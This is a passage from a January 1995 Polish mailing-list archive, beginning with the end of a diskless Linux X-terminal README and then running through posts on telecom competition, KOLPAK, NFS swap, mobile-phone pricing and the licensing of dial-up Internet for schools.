want to hear your comments as well. I'll try to help those people, who give
me detailed, full descriptions of their problem. But hey, I cant make it
working for you! It works for me and I give every information I can, but
maybe that's not enough. You will have to find out what's wrong in your network
environment, or in your setup. Please do not forget that. And if it works
for you, dont forget to drop me a note, please  :)
If you want to see the sources of all this stuff, I can send them to you.
I didn't include them in this package because they are not needed to get
things working, and some parts of it are a little bit ugly :)

T o   d o   l i s t
-------------------
o Upgrade to Linux v1.0 (It works with pl12 now, somewhat old)
o currently no swapping is done, but it isn't necessary I think.
  With 4M RAM, you can start 20 Xmosaic's, the Xserver will quit only
  after the 21st.
o more Docs needed



Saby (saby@sch.bme.hu)
--------
Szijarto Szabolcs - Technical University of Budapest
BME-VIIK-MMT Diskless Linux Xterminal project 1994.

--------end of include-----------------------------------------------------
From zych@student.uci.agh.edu.pl Wed Jan 11 15:32:45 1995
Received: from galaxy.uci.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12668; Wed, 11 Jan 95 15:32:16 +0100
Return-Path: <zych@student.uci.agh.edu.pl>
Received: from student.uci.agh.edu.pl by uci.agh.edu.pl (4.1/SMI-4.1)
	id AA06332; Wed, 11 Jan 95 15:32:13 +0100
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Received: by student.uci.agh.edu.pl (4.1/SMI-4.1)
	id AA20421; Wed, 11 Jan 95 15:31:44 +0100
From: zych@student.uci.agh.edu.pl (Zbigniew Zych)
Message-Id: <9501111431.AA20421@student.uci.agh.edu.pl>
Subject: Re: Siec Optimusa?
To: polip@zsku.p.lodz.pl
Date: Wed, 11 Jan 1995 15:31:43 +0100 (MET)
In-Reply-To: <3f0f20$suk@sun1000.ci.pwr.wroc.pl> from "Jarek Lis" at Jan 11, 95 03:23:58 pm
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1724      

Jarek Lis wrote:

> Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:
> : Marcin Raczkiewicz (raczkiew@saturn.kt.agh.edu.pl) wrote:
> : : Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:
> 
> : Hm - a gdzie w gazetach widac tego przejawy. Jak dotad jest to pierwsza taka
> : inicjatywa na ta skale. Pytanie jeno o stosunek Panstwa do tych
> : przedsiewziec, bo dotychczas jest z tym kiepsko.

Co do konkurencji TP SA - juz od nowego roku ruszyla pelna para w Swidniku
lokalna siec telefoniczna... Podobno ma juz kilka czy kilkanascie tysiecy
abonentow... Wiem, wiem - pierwsza jaskolka wiosny nie czyni - ale zawsze
to cos...

> Nie jest tak zle. Troche firm, ktore kable juz maja czeka w pogotowiu.
> Na przyklad PKP - siec jest chyba z 10 razy wieksza niz POLPAK. Nawet
> ma juz nazwe - KOLPAK, i chyba odpowiednie zezwolenia. Brakuje tylko
> sprywatyzowania, zeby zechcieli uslugi sprzedawac.

PKP ma nie tylko zezwolenia - ale siec. Oni na tym juz dzialaja...
Jest na tym rezerwacja biletow, docelowo ma ruszyc system obslugi
wagonow towarowych - wlasciciel wagonu np. z Francji bedzie sie mogl
w kazdej chwili dowiedziec gdzie jego wagon aktualnie jest i jaka trasa
jedzie np. do Minska...

Z tego co mi wiadomo (artykul z bodajze Computerworld'a - ale stary)
nie bedzie sie prywatyzowac - ani sprzedawac uslug - po prostu to ma
byc wewnetrzna siec kolejowa... Ew. jedna wieksza firma moze korzystac
na zasadach odplatnosci, ale nie ma to byc dostepna powszechnie siec...

							Zbigniew Zych

-- Zbigniew Zych     ircnick: Zyzio            home phone: 48+12-48.74.29
-- email&finger: zych@ernie.icslab.agh.edu.pl zych@student.uci.agh.edu.pl
-- <A HREF="http://www.uci.agh.edu.pl/student/inf4grp/zych">HomePage</a>
From pastupam@uoo.univ.szczecin.pl Wed Jan 11 15:39:03 1995
Received: from uoo.univ.szczecin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13009; Wed, 11 Jan 95 15:37:17 +0100
Return-Path: <pastupam@uoo.univ.szczecin.pl>
Message-Id: <9501111437.AA13009@zsku.p.lodz.pl>
Received: by uoo.univ.szczecin.pl
	(1.37.109.4/16.2) id AA07618; Wed, 11 Jan 95 15:36:50 +0100
From: Jerzy Pastusiak <pastupam@uoo.univ.szczecin.pl>
Subject: Re: Siec Optimusa?
To: polip@zsku.p.lodz.pl
Date: Wed, 11 Jan 95 15:36:49 MET
In-Reply-To: <3f0f20$suk@sun1000.ci.pwr.wroc.pl>; from "Jarek Lis" at Jan 11, 95 3:23 pm
Mailer: Elm [revision: 70.85]

> 
> A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na
> inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich
> pieniedzy.
> 
> Jarek.
> 
Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka.
Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat.
Chyba i nas to czeka. Pozdrawiam, J.P.

From ELEKP@elektron.pol.lublin.pl Wed Jan 11 18:42:47 1995
Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18362; Wed, 11 Jan 95 18:41:31 +0100
Return-Path: <ELEKP@elektron.pol.lublin.pl>
Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP
	(1.38.193.4/16.2) id AA09728; Wed, 11 Jan 1995 18:41:52 +0100
Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13);
    Wed, 11 Jan 95 18:40:13 +0100
Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 11 Jan 95 18:40:05 +0100
From: "Eligiusz Pawlowski, LUBLIN." <ELEKP@elektron.pol.lublin.pl>
To: polip@zsku.p.lodz.pl
Date:          Wed, 11 Jan 1995 18:39:57 +0100
Subject:       Re: Siec Optimusa?
X-Pmrqc:       1
Priority: normal
X-Mailer:     Pegasus Mail v3.1 (R1a)
Message-Id: <BF9C3D5472@elektron.pol.lublin.pl>

> From:           zych@student.uci.agh.edu.pl (Zbigniew Zych)
> 
> Co do konkurencji TP SA - juz od nowego roku ruszyla pelna para w Swidniku
> lokalna siec telefoniczna... Podobno ma juz kilka czy kilkanascie tysiecy
> abonentow... Wiem, wiem - pierwsza jaskolka wiosny nie czyni - ale zawsze
> to cos...
> 
Jaskolka zdechla, no prawie zdechla. W Swidniku kolo Lublina istnieje lokalna
siec telefoniczna, i to lokalna w sensie doslownym. TPSA skutecznie odmawia
wlaczenia tej sieci do sieci miedzymiastowej. Tak wiec ze Swidnika mozna 
dzwonic tylko do ... Swidnika. A Swidnik jest taki, ze rownie dobrze 
wystarczy otworzyc okno i mozna z calym miastem sobie porozmawiac.
Mysle, ze TPSA trzyma sie jeszcze calkiem niezle !

Elek.


------------------------------------------------------------------- 
 Eligiusz Pawlowski                   elekp@elektron.pol.lublin.pl
 POLITECHNIKA LUBELSKA                         
 Wydzial Elektryczny                          
 Katedra Metrologii Elektrycznej i Elektronicznej         
 ul.Nadbystrzycka 38 A                         
 20-618 LUBLIN                  tel.(48) (81) 55-10-51 wew.259,265            
------------------------------------------------------------------- 
From kokowski@CS.PUT.Poznan.PL Wed Jan 11 19:57:49 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA20177; Wed, 11 Jan 95 19:56:08 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA03668; Wed, 11 Jan 95 19:57:07 +0100
Subject: Re: Siec Optimusa? - konkurencja
To: polip@zsku.p.lodz.pl
Date: Wed, 11 Jan 1995 19:43:13 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
In-Reply-To: <9501111437.AA13009@zsku.p.lodz.pl> from "Jerzy Pastusiak" at Jan 11, 95 04:24:52 pm
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 364       
Message-Id:  <9501111943.aa01062@wega.ics.tup.edu.pl>

> > 
> Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka.
> Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat.
> Chyba i nas to czeka. Pozdrawiam, J.P.
>
  W Polsce juz takie polaczenia funkcjonuja np. Gdansk-Elblag o ole mnie
pamiec nie myli. W innych regionach rowniez. Energetyka byla 
nedawno opisywana w CW. 

Tomasz Kokowski
From RAJ@inf.wsp.krakow.pl Wed Jan 11 21:27:48 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA21682; Wed, 11 Jan 95 21:24:19 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id VAA25571 for <polip@zsku.p.lodz.pl>; Wed, 11 Jan 1995 21:27:28 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Wed, 11 Jan 95 21:22:26 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 11 Jan 95 21:22:01 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Wed, 11 Jan 1995 21:21:53 GMT+0100
Subject:       Re: Announce: X PC Server
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <17379666D4@inf.wsp.krakow.pl>

> Date sent:      Wed, 11 Jan 95 14:53:25 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: Announce: X PC Server
> Organization:   Technical Univeristy of Wroclaw

> Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote:
> (chodzi o bezdyskowego Linuxa)
> : Jedyny problem to niemoznosc uzywania swapa przez NFS, wiec minimalna
> : instalacja tego rodzaju musi miec troche wiecej pamieci niz instalacja
> : ze swapem.
> Wlasciwie zastanawiam sie, skad to ograniczenie.  Widzialem, ze odwolania
> do swapa troche omijaja system plikow - pewnie po to, by bylo szybciej.
> Moze jednak warto by podrzucic ten pomysl (swap przez NFS) komu trzeba
> do uwzglednienia w przyszlych wersjach Linuxa...
> (Wiem, ze NFS jest wolny, ale brak swapa moze spowolnic jeszcze bardziej.)
To znaczy chodzi o "swap partition", tak? Odwolania do "swap partition" ida 
bezposrednio przez BIOS, wiec oczywiste ze nie da sie przez NFS. Ale oprocz 
(w tym przypadku raczej zamiast) "swap partition" mozna sobie zalozyc "swap 
file" ktory jest plikiem na zwyklym systemie plikow linuxa. Czy tego tez sie 
nie da uzywac przez NFS? (ja osobiscie mam zwykle "swap partitions" wiec nie 
wiem)
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From RAJ@inf.wsp.krakow.pl Wed Jan 11 21:32:49 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA21987; Wed, 11 Jan 95 21:31:46 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id VAA25620 for <polip@zsku.p.lodz.pl>; Wed, 11 Jan 1995 21:34:55 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Wed, 11 Jan 95 21:29:54 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 11 Jan 95 21:29:36 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Wed, 11 Jan 1995 21:29:29 GMT+0100
Subject:       Re: Siec Optimusa?
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <1757F258B0@inf.wsp.krakow.pl>

> Date sent:      Wed, 11 Jan 95 16:25:06 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           Jerzy Pastusiak <pastupam@uoo.univ.szczecin.pl>
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: Siec Optimusa?

> Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka.
> Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat.
> Chyba i nas to czeka. Pozdrawiam, J.P.
> 
U nas taka siec juz jest, na razie dziala na wewnetrzne potrzeby energetyki.
Mysle ze wzorem KOLPAK-u kiedys sie upubliczni.
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From RAJ@inf.wsp.krakow.pl Wed Jan 11 21:32:52 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA21912; Wed, 11 Jan 95 21:30:46 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id VAA25610 for <polip@zsku.p.lodz.pl>; Wed, 11 Jan 1995 21:33:55 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Wed, 11 Jan 95 21:28:53 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 11 Jan 95 21:28:37 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Wed, 11 Jan 1995 21:28:34 GMT+0100
Subject:       Re: KOLPAK (bylo: Siec Optimusa?)
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <1753BA298A@inf.wsp.krakow.pl>

> Date sent:      Wed, 11 Jan 95 16:13:19 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           zych@student.uci.agh.edu.pl (Zbigniew Zych)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: Siec Optimusa?
> Organization:   University of Mining and Metallurgy

> > Nie jest tak zle. Troche firm, ktore kable juz maja czeka w pogotowiu.
> > Na przyklad PKP - siec jest chyba z 10 razy wieksza niz POLPAK. Nawet
> > ma juz nazwe - KOLPAK, i chyba odpowiednie zezwolenia. Brakuje tylko
> > sprywatyzowania, zeby zechcieli uslugi sprzedawac.
> 
> PKP ma nie tylko zezwolenia - ale siec. Oni na tym juz dzialaja...
[...]
> 
> Z tego co mi wiadomo (artykul z bodajze Computerworld'a - ale stary)
> nie bedzie sie prywatyzowac - ani sprzedawac uslug - po prostu to ma
> byc wewnetrzna siec kolejowa... Ew. jedna wieksza firma moze korzystac
> na zasadach odplatnosci, ale nie ma to byc dostepna powszechnie siec...
                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ma !!!
Od 1 stycznia 1995 siec KOLPAK oficjalnie przyjela status sieci publicznej.
(informacja z PCkuriera, Netforum, Gazety Wyborczej i chyba byla takze w TV).  
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
                             
From lbs@phys.ufl.edu Thu Jan 12 08:11:45 1995
Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02551; Thu, 12 Jan 95 08:06:15 +0100
Return-Path: <lbs@phys.ufl.edu>
Received:  from madeira.phys.ufl.edu  by phys.ufl.edu (4.1/5.02)
	id AA15437; Thu, 12 Jan 95 02:06:28 EST
Received: by madeira.phys.ufl.edu; Thu, 12 Jan 95 02:06:27 EST
Date: Thu, 12 Jan 95 02:06:27 EST
From: lbs@phys.ufl.edu
Message-Id: <9501120706.AA21202@madeira.phys.ufl.edu>
To: polip@zsku.p.lodz.pl
Subject: Re: Siec Optimusa?


A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na
inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich
pieniedzy.

Jarek.

---

Optimus moze pozyczyc w banku. Z zachodniego banku
tez mozna wziac. TP SA m.in. pozyczyla pieniadze za granica
na inwestycje.

Zwrocmy tez uwage na to, ze TP SA inwestuje pieniadze,
ktore zarabia za niesamowicie drogie uslugi telefoniczne.
A jest monopolista i ludzie musza im placic, bo konkurencji
nie ma. A TP bedzie mowic: prosze, inwestujemy, ile tylko sie da.

Przy obecnym poziomie cen na telefony w PL kazda firma
na rynku bedzie zarabiac grube pieniadze. Nie trzeba
byc wielkim biznesmenem, zeby w takich warunkach wyjsc na swoje. 

Wystarczy pewien kapital na start, a dalej juz sie sciaga
pieniadze z klientow. Banki przy tym chetnie dadza, bo
jest doskonala perspektywa na zyski.

Innym wariantem jest wspolpraca z duza firma zagraniczna,
co w jakiejs formie i tak jest potrzebne, bo stamtad importujemy
sprzet komunikacyjny. Firmy zachodnie wejda w rynek telefoniczny
z pocalowaniem reki: patrz Wegry i Czechy. Juz pisalem wczesniej
i powtarzam: Czesi sprzedaja 27% udzialow w swojej Telekomie
i na pewno na tym nie straca: budzet dostaje grube pieniadze,
ktore moze zainwestowac gdzie indziej, a ludzie maja telefony.

W Zyciu Warszawy z bodajze 10 grudnia '94 omowiono sytuacje
w telefonii komorkowej:

----------------------------------------------------------------------
MONOPOL BEZ DRUTU - DROGIE "KOMORKI"

Dzieki konkurencji firm telekomunikacyjnych, w USA telefon
komorkowy mozna kupic srednio za 50 dolarow. W Polsce, gdzie
"komorki" sa zmonopolizowane, na wydanie nan 1500 dolarow
moga sobie pozwolic tylko nieliczni.

Ministerstwo Lacznosci dlugo nie moglo sie zdecydowac na
rozpisanie przetargu na koncesje na nowoczesny system
telefonii cyfrowej GSM. Pozwolilby on przelamac monopol
Polskiej Telefonii Komorkowej Centertel - spolki, ktorej
glownym udzialowcem jest inny monopolista - panstwowa Telekomunikacja
Polska SA.

Polskie "komorki" dzialaja w przestarzalym systemie analogowym NMT,
ktoremu grozi zatkanie. Klopoty z dodzwonieniem sie maja juz
posiadacze "komorek" w Warszawie. Centertel rozwaza wiec podniesienie
cen drugiej i nastepnych minut rozmow, by "zachecic" abonentow
do szybszego wylaczenia sie z sieci.

Jak dowiedzialo sie "Zycie", przetarg na 2 koncesje na GSM zostanie
wreszcie ogloszony na wiosne 1995 r.

[...]

U nas "komorki" pojawily sie w 1992 za sprawa Polskiej Telefonii
Komorkowej (PKT) Centertel, ktora do dzis jako jedyna posiada
koncesje na te dzialalnosc. Glownym udzialowcem (51%) spolki jest
panstwowy monopolista telefoniczny Telekomunikacja Polska SA.
Reszta udzialow jest we wladaniu (po polowie) firm Ameritech (USA)
i France Telekom (Francja).

Wobec katastrofalnego stanu przewodowej lacznosci telefonicznej,
"komorka" miala byc proteza normalnego telefonu przeznaczonego
glownie dla ludzi biznesu. Wybrano wychodzacy ze swiatowej mody
system analogowy NMT dzialajacy na czestotliwosci 450 MHz.
Na czestotliwosciach uzytkowanych przez znacznie nowoczesniejszy
system cyfrowy GSM (900 MHz) pracowalo bowiem wojsko. Podobna
droge wybraly takze inne panstwa postkomunistyczne -- Wegry,
Czechy, Slowenia, Estonia, Rosja.

[...]

NMT jest najbardziej popularny w swej ojczyznie -- Skandynawii. Jednak
na swiecie korzysta zen ledwo 1.5 mln osob. Porownujac te liczbe
z 100 mln abonentow GSM, nietrudno zrozumiec, dlaczego sprzet NMT
jest wielokrotnie drozszy.

Polskie "komorki" takze sa bliskie zatkania. Liczba abonentow rosnie
bardzo gwaltownie (300%) rocznie i dlatego w wielkich aglomeracjach
(szczegolnie w Warszawie) coraz czesciej sa klopoty z dodzwonieniem sie.

[...]

Specjalisci twierdza, ze granice mozliwosci obecnego systemu stanowi
ok. 150 tys. posiadaczy telefonow komorkowych. Jest ich juz 30 tys.
Dlatego przyszlosc to cyfrowy system GSM: nie tylko umozliwi gestsze
"upakowanie" komorek, ale takze pozwoli zerwac z monopolem, tak
kosztownym dla abonentow.

[...]

Ostatecznie przetarg jest spodziewany na poczatku 1995 r. Prawo do
uslug w GSM uzyska co najmniej dwoch operatorow. W szranki stanie
na pewno dzisiejszy monopolista -- Centertel. Konkurowac bedzie
prawdopodobnie z Elektrimem. Niewykluczone, ze o GSM ubiegac bedzie
sie takze ktorys z trzech wielkich dostawcow sprzetu dla Telekomunikacji:
Siemens, ATT lub Alcatel.

-- Telefonia komorkowa jest zyla zlota. Pozostaje miec nadzieje, ze
urzednicy z Placu Malachowskiego [siedziba ministerstwa -- red.]
tez o tym wiedza -- stwierdzil niedawno jeden z dyrektorow Alcatela.

[...]

Ile kosztuje "komorka"

Minuta rozmowy     Srednik koszt           Srednie zarobki
                   podlaczenia telefonu

 $0.36                  $60                     $2167           USA
 $0.39-1.95             brak danych             $2470           W.Brytania
 $0.31-1.87             $48.1                   $2393           Niemcy
 $0.3-1.2               b.d.                    $2300           Francja
 $0.34-0.54             $500                    $ 252           Polska

-------------------------------------------------------------------------

Zakoncze przykladem z tutejszego (USA) rynku.
Kilka dni temu dostalem poczta czek na $35 od
MCI, jednej z firm oferujacych polaczenia dlugodystansowe.
Zachecali mnie w ten sposob, bym zrezygnowal z uslug
AT&T i przeniosl sie do nich. Dlugo sie nie namyslalem,
zadzwonilem do MCI po 4-cyfrowy kod (potrzebny byl do 
nadania waznosci czekowi) i powiedzialem, ze sie
przelaczam. Lokalna firma telefoniczna, Bell South
pobiera $1.49 oplaty za zmiane firmy na rozmowy
dlugodystansowe. Te oplate pokryje MCI. 
A ja skasowalem $35 i jestem zadowolony.

Polecam ten przyklad pod rozwage.

Lech Borkowski

P.S. Sorry za dlugi posting o telefonach, ale i sieci
komputerowe i telefony to ta sama para kaloszy.
Maciek Uhlig pisal nam, ze przygotowywana jest nowa
ustawa komunikacyjna. Co o niej wiedza uzytkownicy
Internetu w Polsce? Kto ich reprezentuje w przesluchaniach
komisji sejmowych? 

From muhlig@usctoux1.cto.us.edu.pl Thu Jan 12 08:35:11 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03384; Thu, 12 Jan 95 08:31:46 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa?
To: polip@zsku.p.lodz.pl
Date: Thu, 12 Jan 1995 08:35:18 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
In-Reply-To: <9501120706.AA21202@madeira.phys.ufl.edu> from "lbs@phys.ufl.edu" at Jan 12, 95 08:21:17 am
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 1044      
Message-Id:  <9501120835.aa09235@usctoux1.cto.us.edu.pl>

lbs@phys.ufl.edu wrote:

> Maciek Uhlig pisal nam, ze przygotowywana jest nowa
> ustawa komunikacyjna. Co o niej wiedza uzytkownicy
> Internetu w Polsce? Kto ich reprezentuje w przesluchaniach
> komisji sejmowych? 

Projekt ustawy trafil niedawno z rzadu do Sejmu. Jest nie do wyciagniecia
zarowno z Min. Lacznosci, jak i z Sejmu. Trzeba poczekac na pierwsze
czytanie w Sejmie. Wtedy Sejm zapewne przekaze go do komisji sejmowej
w celu dalszych prac. Wtedy trzeba zdobyc projekt i - jesli nie
przyniesie satysfakcjonujacych rozwiazan w dziedzinie sieci - wywrzec
presje na lokalnych poslow, argumentujac nasze stanowisko i cele.

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From muhlig@usctoux1.cto.us.edu.pl Thu Jan 12 08:41:47 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03756; Thu, 12 Jan 95 08:40:04 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)
To: polip@zsku.p.lodz.pl
Date: Thu, 12 Jan 1995 08:43:35 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 9219      
Message-Id:  <9501120843.aa09522@usctoux1.cto.us.edu.pl>

Przesylam mail Jacka Gajewskiego zamieszczony na liscie "Internet dla szkol", 
a dotyczacy dial-up IP, podstawowej metody technicznej wykorzystywanej
w programie IdS. Problem nie dotyczy tylko IdS. Jest zywotny dla nas
wszystkich. Wysylajcie swoje opinie na ten temat, gdzie tylko mozecie.
Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy
o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK
i Ministerstwo Lacznosci.

Maciek Uhlig 

gajewski@hozavx.fuw.edu.pl wrote:
> From usctoux1 Thu Jan 12 07:23:26 1995
> Errors-To: GAJEWSKI@hozavx.fuw.edu.pl
> X-Listname: Internet dla Szkol <IDS@hozavx.fuw.edu.pl>
> Sender: gajewski@hozavx.fuw.edu.pl
> MMDF-Warning:  Parse error in original version of preceding line at usctoux1.cto.us.edu.pl
> Date: Thu, 12 Jan 1995 07:19:21 CET
> From: gajewski@hozavx.fuw.edu.pl
> Reply-To: IDS@hozavx.fuw.edu.pl
> To: ids@hozavx.fuw.edu.pl, fdl50@plearn.edu.pl, wiktor@frodo.nask.org.pl, 
>     oper@frodo.nask.org.pl
> Message-Id: <0098A575.4953B900.20516@hozavx.fuw.edu.pl>
> Subject: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego
> 
> Jacek Gajewski:
> 
>    Poruszony otrzymana wczoraj poznym wieczorem wiadomoscia z zebrania
> przedstawicieli NASK i URM pojawiam sie o tej poganskiej porze aby
> podzielic sie z Wami mysla, ktora nie dawala mi spac w nocy:
> 
>    W moim mniemaniu kapitalnym problemem jest czym bedzie "Internet dla
> Szkol" - programem, siecia, stowarzyszeniem, instytucja ...???
> 
>    Jak roztrzygniemy ten problem to wtedy nalezy okreslic stosowna formule
> organizacyjno-prawna dla IdS.
> 
>    Aby jednak oba powyzsze problemy rozstrzygnac trzeba NAJPIERW umiec 
> odpowiedziec na pytanie:
> 
> CZY TO CO ZAMIERZAMY ROBIC WYMAGA UZYSKANIA ZEZWOLENIA KOMUNIKACYJNEGO ?
> ------------------------------------------------------------------------
> 
>    Wszyscy wiemy, ze z ustawy to jasno nie wynika. I albo przyjmiemy,
> ze dozwolone jest to co nie jest zabronione albo ze zabronione jest
> wszystko co nie jest dozwolone. Dotychczasowe glosy na tej liscie
> wyraznie wskazywaly, ze zdania sa podzielone.
> 
> Przypomne jeszcze raz co zamierzamy robic:
> - dac uczniom przy pomocy protokolu SLIP (lub PPP) mozliwosc
>   korzystania z WWW, ftp, irc, Usenetu i e-mailu. Koniec, kropka.
> - uczniowie NIE MAJA kont na serwerze, lecz tylko skrzynki pocztowe.
> - telnet jest zablokowany.
> - szkoly NIE MAJA stalego adresu IP - ma je konkretny serwer komunikacyjny
>   i kazdy z jego portow.
> Czyli z dokladnoscia do e-maili ruch jest tylko w jedna strone -
> uczniowie dostaja do szkoly Internetowe 'okno na swiat'.
> 
> Podobno jakies cialo w Ministerstwie bada czy 'SLIP dzwoniony' wymaga
> zezwolenia czy nie. Tak twierdzi Wiktor Krzanowski, nie zgadza sie
> z tym prof. Tomasz Hofmokl.
> 
> Kazdy, kto otarl sie o proces otrzymywania zezwolenia wie jak skompliko-
> wana i dlugotrwala jest to procedura. Zastosowanie jej do naszego
> przypadku opozni start programu co najmniej o pol roku.
> 
> Kazdy, kto przeczytal tekst zezwolenia wie jak wysokie wymagania
> spelniac musi operator sieci telekomunikacyjnej. M.in. aby prowadzic
> prawidlowa (w swietle zezwolenia !) dokumentacje nalezy zatrudnic
> 2-3 osoby obslugi administracyjnej. Zastosowanie jej do naszego
> przypadku jest praktycznie niemozliwe dla wezlow lokalnych.
> 
> Poniewaz, nie chcialbym znieksztalcic argumentow tych osob, ktore
> twierdza, ze to co robimy wymaga zezwolenia, bylbym bardzo wdzieczny
> Panu inz. Andrzejowi Zienkiewiczowi i Panu dr. Miroslawowi Zmyslonemu
> o ich krotkie przedstawienie. Jako przyklad argumentacji przeciwnej
> zalaczam mail Macka Uhliga do Andrzeja Gorbiela (Macku - wybacz ze nie
> konsultuje tego z Toba).
> 
> Prosba do Wiktora Krzanowskiego - czy wiesz o tym 'ciale' w ML,
> ktore bada problem 'dzwonionego SLIPa' ?
> 
> Prosba do Marka Cara: Czy moglbys (Ty a moze wrecz Premier?) poprosic
> Ministerstwo Lacznosci o interpretacje ustawy w naszym przypadku ?
> 
> 
> Serdecznie Pozdrawiam
> Jacek Gajewski
> 
> 
> Zalacznik: mail M.Uhliga do A.Gorbiela
> -------------------------------------
> 
> 
> Subject: dial-up IP a ustawa o lacznosci
> To: Andrzej Gorbiel <A.Gorbiel@ga-wyb.krakow.pl>
> Date: Mon, 19 Dec 1994 15:44:10 -0100 (MET)
> From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
> CC: gajewski@hozavx.fuw.edu.pl
> 
> Witam!
> 
> W najnowszym numerze "KiB" napisal Pan:
> 
